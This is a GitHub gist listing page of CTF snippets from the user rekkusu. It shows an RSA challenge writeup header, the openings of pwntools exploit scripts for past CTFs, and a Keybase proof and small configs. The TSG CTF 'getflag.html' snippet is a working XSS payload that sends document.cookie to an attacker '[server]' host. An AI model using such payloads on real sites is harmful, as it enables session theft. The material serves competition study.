Skip to content

Instantly share code, notes, and snippets.

@rekkusu
rekkusu / sharsable.sage
Last active October 19, 2020 06:51
SECCON 2020 Online CTF sharsable author writeup
# Overview
# This challenge is based on May's version of Wiener's Attack
# (https://www.math.uni-frankfurt.de/~dmst/teaching/WS2015/Vorlesung/Alex.May.pdf)
# But the attack can't be apply to the challenge because it has 2 exponents,
# so you have to extend the method of May.
# After LLL, choose 2 shortest vectors and reconstruct polynomial.
# then pick coefficients and decrypt ciphertext
import json
from binascii import unhexlify

Keybase proof

I hereby claim:

  • I am rekkusu on github.
  • I am xrekkusu (https://keybase.io/xrekkusu) on keybase.
  • I have a public key ASDikKa6pgDX2d4GPEgqRbS4aQZnkti0ROig4psGPje8bAo

To claim this, I am signing this object:

@rekkusu
rekkusu / getflag.html
Created May 5, 2019 08:20
TSG CTF 2019 / BAD NONCE 1 & 2
<script>
fetch('/nonce').then(r => r.text()).then(nonce => {
document.write('<iframe src="http://35.187.214.138:10023/?q=<script nonce='+nonce+'>location.href=\'//[server]/flag?f=\'%2Bdocument.cookie\x3c\x2fscript>"></iframe>');
});
</script>
@rekkusu
rekkusu / extconf.rb
Last active August 28, 2018 18:05
Run shellcode from Ruby
require 'mkmf'
create_makefile('shellcode')
@rekkusu
rekkusu / rhinoxorus.py
Created September 20, 2015 23:02
[CSAW CTF 2015] Exploit 500 rhinoxorus
from pwn import *
ret_addr = 0x8056afa
pop2ret = 0x80578fa
leaveret = 0x804889f
password = 0x805f0c0
sock_send = 0x804884b
s = remote('54.152.37.20', 24242)
payload = [
@rekkusu
rekkusu / chat.py
Last active December 12, 2016 19:11
[SECCON 2016 Online] chat 500
from pwn import *
import string
strcmp_got = 0x603050
free_libc = 0x222c40
free_got = 0x603018
strchr_libc = 0x86d40
strchr_got = 0x603038
#system_libc = 0x46590
system_libc = 0xe5765 # One gadget RCE
@rekkusu
rekkusu / exploit.py
Created September 21, 2016 18:50
PlaidCTF 2015 - tp
from pwn import *
# local libc
libc_data = 0x1bb000
libc_main_arena = libc_data + 0x203760
libc_environ = libc_data + 0x2064a0
libc_gadget = {
'poprdi': 0x22b1a,
'poprsi': 0x24805,
'poprdx': 0x1b8e,
@rekkusu
rekkusu / SECCON2015 final 問題解説メモ
Created January 31, 2016 07:30
tessyさんが解説したスライドの内容のメモ
[intercollege]
1. WebServiceX
記事投稿掲示板
SQLi
パス丸見え
削除キーを抜き取り記事を削除する
2. SECCON競馬
node.jsで稼働するサーバ
各所にあるSQLiを攻撃
@rekkusu
rekkusu / gist:1786809
Created February 10, 2012 04:58
*.rbでタブ押したときにスペース2つ
augroup fileread
autocmd!
autocmd BufNewFile,BufRead *.rb set shiftwidth=2 tabstop=2 expandtab
" ...
augroup END
@rekkusu
rekkusu / load.js
Created August 17, 2011 15:50 — forked from KOBA789/load.js
こばのなにかひどいなにかを動作確認しないで書き換えてみた
var load = new (function () {
var count = 0;
var next = function () {}
var callback = function () {
count --;
if (count <= 0) {
next();
}
}
self = this;